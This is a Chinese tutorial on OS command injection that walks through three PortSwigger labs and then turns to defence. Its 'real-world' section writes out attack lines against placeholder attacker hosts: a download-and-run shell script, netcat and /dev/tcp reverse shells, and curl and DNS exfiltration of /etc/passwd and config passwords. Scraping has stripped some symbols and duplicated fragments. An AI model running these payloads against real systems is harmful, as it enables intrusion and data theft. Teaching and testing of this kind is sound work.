Web安全实战:命令注入漏洞从入门到精通 📅 2026/8/15 11:32:30 命令注入漏洞完全实战教程前置要求已搭建 Kali Burp Suite Professional了解 HTTP 请求基础实验环境PortSwigger Web Security Academy目录前置知识什么是命令注入实验环境准备Lab 1简单命令注入有回显Lab 2盲注命令注入时间延迟Lab 3盲注命令注入DNS 外带真实场景中的攻击思路真实场景中的漏洞检测防御方案与代码审计要点一、前置知识什么是命令注入1.1 命令注入 vs 代码注入类型注入目标示例危害命令注入系统命令bash/cmdping 8.8.8.8; whoami执行任意系统命令代码注入应用程序代码PHP/JSeval($_POST[cmd])执行任意应用代码1.2 命令注入的产生场景Web 应用需要调用系统命令时如果直接把用户输入拼接到命令中?php$ip$_GET[ip];// 危险用户输入直接拼接到系统命令system(ping -c 4 .$ip);?正常请求GET /ping?ip8.8.8.8 # 执行ping -c 4 8.8.8.8恶意请求GET /ping?ip8.8.8.8; whoami # 执行ping -c 4 8.8.8.8; whoami # 结果返回当前系统用户名1.3 命令分隔符大全符号作用适用系统示例;顺序执行前完后执行Linux/Unixcmd1; cmd2逻辑与前成功才执行后Windows/Linuxcmd1 cmd2|管道前输出作为后输入Windows/Linuxcmd1 | cmd2||逻辑或前失败才执行后Windows/Linuxcmd1 || cmd2cmd内联执行Linux/Unixecho whoami$(cmd)内联执行Linux/Unixecho $(whoami)为什么需要这么多分隔符因为后端可能会过滤某些字符如过滤了;攻击者需要尝试其他分隔符来绕过过滤。1.4 有回显 vs 盲注类型特征检测方法有回显命令输出直接显示在页面直接观察响应内容盲注时间延迟无输出但命令确实执行sleep 10观察响应是否延迟盲注DNS 外带无输出通过 DNS 请求外带数据nslookup $(whoami).attacker.com二、实验环境准备2.1 工具清单工具用途状态Burp Suite ProfessionalHTTP 代理、拦截、改包、Repeater、Collaborator已安装Firefox FoxyProxy设置浏览器代理到 Burp已配置PortSwigger 账号访问在线靶场已注册2.2 账号信息UsernamewienerPasswordpeter三、Lab 1简单命令注入有回显3.1 实验目标理解最直接的命令注入。后端调用系统命令查询库存直接把用户输入拼接到命令中命令执行结果直接显示在页面上。3.2 进入实验室在 PortSwigger 的“OS command injection”路径中找到“OS command injection, simple case”3.3 找到命令执行点操作点击任意商品的“View details”查看详情在商品详情页找到“Check stock”检查库存功能看到城市选择下拉框如 London为什么这里是注入点后端可能执行类似stockreport.pl London的系统命令来查询库存。如果London被换成London;whoami后端就会执行stockreport.pl London;whoami。3.4 开启 Burp 拦截点击 Check stock操作开启 Burp 拦截Intercept is on选择城市如London点击“Check stock”Burp 拦截到 POST 请求【在此处插入截图Burp Intercept 拦截到 POST /product/stock 请求】3.5 查看请求体中的参数在 Burp 的“美化”标签下向下滚动查看请求体Body。预期格式POST /product/stock HTTP/2 Host: ... Content-Type: application/x-www-form-urlencoded productId1storeId13.6 修改 storeId 注入命令找到storeId参数后把storeId1改成storeId1;whoami或改成storeId1|whoami为什么用;或|;是 Linux 的命令分隔符1;whoami会先执行stockreport.pl 1然后执行whoami。|是管道符1|whoami会把stockreport.pl 1的输出传给whoamiwhoami不需要输入所以直接执行。3.7 放行请求查看结果点击Forward放行请求。预期结果页面显示库存数量同时显示whoami的执行结果如peter。3.8 本实验原理总结用户选择城市 London点击 Check stock ↓ 浏览器发送 POST /product/stockstoreId1 ↓ Burp 拦截把 storeId1 改成 storeId1;whoami ↓ 后端执行stockreport.pl 1;whoami ↓ whoami 执行成功结果返回页面 ↓ 页面显示系统用户名漏洞本质后端直接把用户输入拼接到系统命令中没有过滤命令分隔符;、|等。四、Lab 2盲注命令注入时间延迟4.1 实验目理解无回显情况下的命令注入检测。命令执行结果不会显示在页面上需要通过时间延迟来确认漏洞存在。存在。4.2 进入实验室在 PortSwigger 的“OS command injection”路径中找到“Blind OS command injection with time delays”4.3 找到注入点这个实验室的注入点在“Submit feedback”提交反馈功能的Email字段。后端调用mail命令发送邮件把邮箱地址拼接到命令中。**操作*1. 点击页面顶部的“Submit feedback”2. 进入反馈提交页面交页面4.4 分析后端命令结构后端代码大概长这样mail-sSubject-aFrom:emailfeedbackvulnerable-website.com如果 Email 是testtest.com实际执行mail-stest-aFrom:testtest.com feedbackvulnerable-website.com如果 Email 是x||ping -c 10 127.0.0.1||实际执行mail-stest-aFrom:x||ping-c10127.0.0.1||feedbackvulnerable-website.com为什么用||||是“前命令失败才执行后命令”。命令。mail命令因为x不是合法邮箱而失败于是执行ping -c 10 127.0.0.1造成10 秒延迟。4.5 前端校验绕过操作在表单中填写Name:testEmail:x||ping-c10127.0.0.1||Subject:testMessage:test点击Submit feedback预期结果前端提示邮箱格式不正确无法提交。为什么前端会拦截浏览器通过 HTML5 的typeemail或 JavaScript 校验邮箱格式x||ping-c10127.0.0.1||不是合法邮箱被前端拦截。4.6 Burp Repeater 绕过前端校验操1. 先填写一个合法邮箱**如testtest.com点击 Submit feedbackd2.开启 Burp 拦截拦截到 POST /feedback/submit 请求i3. 在 Burp 中把请求Send to Repeatert4. 在 Repeater 中把请求体中的email改成 改成emailx%7C%7Cping%20-c%2010%20127.0.0.1%7C%7CURL 编码后的 x||ping -c 10 127.0.0.15. 点击Sendend**4.7 观察响应时间延迟预期结果Repeater 的响应时间显示约10 秒或明显长于正常请求页面显示 “Thank you for submitting feedback!”右上角显示“Congratulations, you solved the lab!”为什么延迟 10 秒说明有漏洞ping -c 10 127.0.0.1.0.0.1会发送 10 个 ICMP 包每个间隔 1 秒总共约 10 秒。如果响应延迟了 10 秒说明ping 命令确实被执行了。4.8 本实验原理总结用户填Email: x||ping -c10127.0.0.1||.0.1|| ↓ 前端 JS 校验邮箱格式拦截提交 ↓ Burp Repeater 直接修改 POST 请求体中的 email 参数 ↓ 后端执行mail -s test -aFrom:x||ping -c 10 127.0.0.1|| feedback... ↓ mail 命令失败x 不是合法邮箱|| 触发 ping -c 10 127.0.0.1 ↓ ping 执行 10 秒 → 响应延迟 10 秒 ↓ 确认存在盲注命令注入漏洞本质后端把用户输入拼接到mail系统命令中命令执行结果不回显但可以通过时间延迟确认漏洞前端校验不可靠Burp 改包可完全绕过五、Lab 3盲注命令注入DNS 外带5.1 实验目标理解DNS 外带OAST - Out-of-band Application Security Testing。在无回显的情况下通过 DNS 请求把命令执行结果发送到外部服务器从而窃取数据。5.2 进入实验室在 PortSwigger 的“OS command injection”路径中找到“Blind OS command injection with out-of-band interaction”5.3 获取 Burp Collaborator 域名操作打开Burp Suite Professional切换到Collaborator标签点击“Copy to clipboard”复制唯一域名如tgd9yrvl3bjcijxu2zdj2fc0iroic80x.oastify.com什么是 Burp CollaboratorCollaborator 是 Burp 自带的外带服务器。它提供一个唯一的域名攻击者可以让目标服务器向该域名发送 DNS/HTTP 请求Burp 会记录这些请求。即使目标服务器不出网不能访问外网 HTTPDNS 请求通常也能穿透防火墙。5.4 构造 DNS 外带 Payload核心思路nslookup$(whoami).your-collaborator-domain$(whoami)会先执行whoami然后把结果如peter拼接到域名前peter.tgd9yrvl3bjcijxu2zdj2fc0iroic80x.oastify.com当目标服务器执行nslookup时会向 DNS 服务器查询这个域名Burp Collaborator 会记录这次 DNS 请求从而窃取whoami的结果。5.5 Burp Repeater 发送 Payload操作Burp → Proxy → HTTP history找到POST /feedback/submit请求右键 →Send to Repeater在 Repeater 中把请求体中的email改成emailx||nslookup$(whoami).tgd9yrvl3bjcijxu2zdj2fc0iroic80x.oastify.com||把域名替换成你自己的 Collaborator 域名点击Send5.6 在 Collaborator 中查看 D操作回到 Burp 的Collaborator标签点击“Poll now”或等待自动刷新查看收到的 DNS 请求列表NS预期结果收到一条 DNS 请求请求的子域名是whoami的执行结果如peter.tgd9yrvl3bjcijxu2zdj2fc0iroic80x.oastify.com说明whoami被执行了结果是peterpeter5.7 本实验原理总结Burp Collaborator 生成唯一域名xxx.oastify.com 构造 payloadnslookup $(whoami).xxx.oastify.comify.com ↓ Burp Repeater 发送 POST /feedback/submitemailx||nslookup$(whoami).xxx.oastify.com|| 后端执行mail -aFrom:x||nslookup $(whoami).xxx.oastify.com|| feedback...ack... mail 失败|| 触发 nslookup peter.xxx.oastify.comify.com 目标服务器向 DNS 服务器查询 peter.xxx.oastify.comify.com ↓ Burp Collaborator 记录 DNS 请求 攻击者看到子域名 “peter”即 whoami 的执行结果i 的执行结果漏洞本质即使命令执行结果不回显DNS 请求通常可以穿透防火墙$(cmd)将命令输出拼接到 DNS 子域名中通过外带服务器Collaborator窃取数据六、真实场景中的攻击思路6.1 攻击目的阶段目标具体操作信息收集了解目标环境uname -a、cat /etc/passwd、ifconfig权限提升从 Web 用户到 rootsudo -l、find / -perm -4000SUID后门植入持久化控制wget http://攻击者.com/shell.sh -O /tmp/shell.sh bash /tmp/shell.sh内网渗透以服务器为跳板nc -e /bin/bash 攻击者IP 4444反弹 shell数据窃取拖库/下载敏感文件mysqldump -u root -p database /tmp/db.sql横向移动攻击内网其他机器上传扫描器扫描 10.0.0.0/246.2 典型攻击链命令注入 → 反弹 Shell1. 发现命令注入点 └─ 网站的 ping 功能、邮件发送、图片处理等 2. 确认漏洞 └─ ; whoami → 有回显确认注入成功 3. 信息收集 └─ ; uname -a → 了解系统版本 └─ ; cat /etc/passwd → 查看系统用户 4. 上传 webshell 或反弹 shell └─ 攻击机监听nc -lvnp 4444 └─ 注入; bash -i /dev/tcp/攻击机IP/4444 01 5. 获得交互式 shell └─ 在攻击机上获得目标服务器的 bash shell 6. 进一步渗透 └─ 提权、横向移动、数据窃取6.3 盲注命令注入的数据窃取场景命令注入存在但无回显窃取 /etc/passwd;curl-ddata$(cat/etc/passwd)http://攻击者.com/窃取数据库密码;nslookup$(cat/var/www/html/config.php|greppassword|head-1|base64).attacker.com分块窃取大数据避免 DNS 子域名过长;foriin$(cat/etc/passwd|base64|fold-w63);donslookup$i.attacker.com;done七、真实场景中的漏洞检测7.1 黑盒测试发现命令注入点常见功能点□ Ping/IP 查询功能/ping?ip8.8.8.8 □ DNS 查询功能/dns?domainexample.com □ 邮件发送功能/contact?emailtesttest.com □ 图片处理功能/convert?fileimage.jpg □ 文件压缩功能/zip?filesfile1.txt □ 系统监控功能/status?serviceapache2 □ 定时任务功能/cron?commandbackup.sh基础测试 Payload原始参数8.8.8.8 测试 18.8.8.8; whoami 测试 28.8.8.8 | whoami 测试 38.8.8.8 whoami 测试 48.8.8.8 || whoami 测试 58.8.8.8 whoami 测试 68.8.8.8 $(whoami)盲注测试 Payload时间延迟 - Linux; sleep 10 - Windows timeout /t 10 DNS 外带 - ; nslookup $(whoami).attacker.com - ; ping -c 1 $(whoami).attacker.com HTTP 外带 - ; curl http://attacker.com/$(whoami) - ; wget http://attacker.com/$(whoami)7.2 自动化工具# 使用 commix命令注入自动化工具python commix.py-uhttp://目标/ping.php--dataip8.8.8.8# 使用 Burp Intruder 批量测试分隔符# Payload: Fuzzing - 命令分隔符列表7.3 白盒代码审计危险函数识别PHPsystem($cmd)// 执行系统命令并输出exec($cmd)// 执行系统命令passthru($cmd)// 执行系统命令并输出原始结果shell_exec($cmd)// 执行系统命令并返回完整输出$cmd// 反引号执行popen($cmd,$mode)// 打开进程文件指针proc_open($cmd,...)// 执行命令并打开文件指针危险函数识别Pythonos.system(cmd)os.popen(cmd)subprocess.call(cmd,shellTrue)# shellTrue 时危险subprocess.Popen(cmd,shellTrue)检查清单检查项危险代码安全代码是否调用系统命令system(ping -c 4 . $_GET[ip])❌使用内置函数替代 ❌是否过滤分隔符无过滤 ❌白名单 转义 ✅是否使用用户输入$_GET[ip]直接拼接 ❌escapeshellarg()转义 ✅八、防御方案与代码审计要点8.1 防御金字塔┌─────────────────┐ │ 避免调用系统命令 │ ← 最强用编程语言内置函数替代 │ (gethostbyname等) │ ├─────────────────┤ │ 严格白名单 │ ← 只允许预定义的合法输入 ├─────────────────┤ │ escapeshellarg │ ← 给参数加引号并转义 ├─────────────────┤ │ 最小权限运行 │ ← Web 服务以低权限用户运行 └─────────────────┘8.2 安全代码示例PHP避免调用系统命令?php// ❌ 危险直接调用系统命令$ip$_GET[ip];system(ping -c 4 .$ip);// ✅ 安全使用 PHP 内置函数$ip$_GET[ip];if(filter_var($ip,FILTER_VALIDATE_IP)){// 使用 PHP 内置函数不调用系统命令$resultgethostbyname($ip);// 或 socket 函数}?PHP如果必须调用系统命令?php// ✅ 严格白名单 转义$allowed_ips[8.8.8.8,1.1.1.1];$ip$_GET[ip];if(!in_array($ip,$allowed_ips)){die(Invalid IP);}// escapeshellarg 给参数加单引号并转义$safe_ipescapeshellarg($ip);$outputshell_exec(ping -c 4 .$safe_ip);echo$output;?Python避免 shellTrueimportsubprocess# ❌ 危险shellTrue 且直接拼接用户输入iprequest.args.get(ip)subprocess.call(fping -c 4{ip},shellTrue)# ✅ 安全shellFalse参数列表化iprequest.args.get(ip)# 验证 IP 格式importipaddresstry:ipaddress.ip_address(ip)subprocess.call([ping,-c,4,ip])exceptValueError:returnInvalid IP8.3 防御检查清单检查项要求优先级避免调用系统命令优先使用编程语言内置函数 必须严格白名单只允许预定义的合法输入 必须输入过滤过滤;、、、$、 等危险字符参数转义使用escapeshellarg()或参数列表化 强烈建议最小权限Web 服务以低权限用户运行如 www-data 强烈建议禁用危险函数php.ini 中禁用system()、exec()等 推荐九、今日学习总结实验类型利用手法检测方法学到的核心原理Lab 1有回显storeId1;whoami直接观察响应后端直接拼接用户输入到系统命令Lab 2盲注时间延迟x ll ping -c 10 127.0.0.1 ll观察响应时间无回显时通过时间延迟确认漏洞Lab 3盲注DNS 外带nslookup $(whoami).collaborator.netDNS 请求记录DNS 可穿透防火墙窃取数据核心原则永远不要调用系统命令处理用户输入—— 优先使用编程语言内置函数如果必须调用严格白名单 转义——escapeshellarg()、参数列表化盲注用 DNS 外带—— 即使不出网DNS 请求通常也能穿透防火墙前端校验不可靠—— 所有过滤必须在后端完成最小权限原则—— Web 服务以低权限用户运行限制命令执行范围